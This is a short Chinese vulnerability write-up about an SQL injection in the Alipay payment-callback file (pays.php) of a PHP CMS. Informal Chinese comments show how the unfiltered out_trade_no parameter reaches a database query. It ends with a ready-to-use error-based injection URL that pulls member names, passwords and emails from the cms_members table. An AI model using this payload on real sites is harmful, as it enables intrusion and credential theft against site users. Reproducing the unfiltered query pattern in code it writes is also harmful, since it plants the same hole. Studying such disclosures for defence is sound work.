/include/paygate/alipay/pays.php
/* *类名:alipay_notify *功能:付款过程中服务器通知类 *详细:该页面是通知返回核心处理文件,不需要修改 *版本:3.1 *修改日期:2010-10-29 '说明: '以下代码只是为了方便商户测试而提供的样例代码,商户可以根据自己网站的需要,按照技术文档编写,并非一定要使用该代码。 '该代码仅供学习和研究支付宝接口使用,只是提供一个参考。 */ require_once("class/alipay_notify.php"); empty($_POST) && $_POST = &$_GET; require_once('../pay_base.php'); 包含巍峨 $pay = new pay_base('alipay'); // 实例化 $pay->by = 'pays'; //我们看看里面是咋写的 $pay->order_sn = $_POST['out_trade_no']; //看看这里 没过滤就带进去了 if(!$pay->getData()){ // 获取数据 //log_result ("order_failed"); exit("fail"); } ........ function getData(){ ......... switch($this->by){ case 'pays': $sql1 = "SELECT pid as order_id,mid,amount as totalfee FROM {$tblprefix}pays WHERE ordersn='$this->order_sn'"; 在这里来了 $this->status = 0; break; ....................................... if($sql1 && $tmp = $db->fetch_one($sql1)){ // 注入 if(empty($key) || empty($tmp[$key]) || empty($sql2)){
EXP:
/include/paygate/alipay/pays.php?out_trade_no=22'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20concat(0x3a,mname,0x3a,password,0x3a,email,0x3a)%20from%20cms_members%20limit%200,1),FLOOR(RAND(0)*2))X%20FROM%20information_schema.tables%20GROUP%20BY%20X)a)%20AND'
摘自:http://www.unhonker.com/bug/1387.html